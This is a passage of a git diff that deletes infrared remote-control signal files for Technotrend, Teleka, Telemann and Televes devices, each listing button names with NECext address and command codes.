-protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 23 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 24 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 26 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir deleted file mode 100644 index 4a0b74f8d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: toggle -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: opt -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: more -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: tv/radio -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 23 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 24 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 26 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir deleted file mode 100644 index b7ec611ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 23 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 24 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 26 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3C 00 00 00 -# -name: fr -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir deleted file mode 100644 index 0bd489d72..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 23 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 24 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 26 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir deleted file mode 100644 index b06ee2bad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: shutdown -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: button_tab -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: button_1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: button_2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: button_3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: button_4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: button_5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: button_6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: button_7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: button_8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: button_9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: button_0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: button_up -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: button_left -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: button_ok -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: button_right -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: button_down -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: information -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: button_red -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: button_green -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: button_yellow -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: button_blue -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: button_mute -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 23 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 24 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 26 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir deleted file mode 100644 index 244d4493e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_2KHZ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: MS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: WN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: HILO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: VH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir deleted file mode 100644 index f55055df6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir deleted file mode 100644 index 6cc7b1636..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: TV/R -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: out -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: ./.. -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: Pup -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: Pdown -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: = -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 23 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 24 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 25 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 26 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir deleted file mode 100644 index 1b133f5a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FILE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: DEVICE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 -# -name: MOSAIC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5C 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5D 00 00 00 -# -name: KEY_GOTO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir 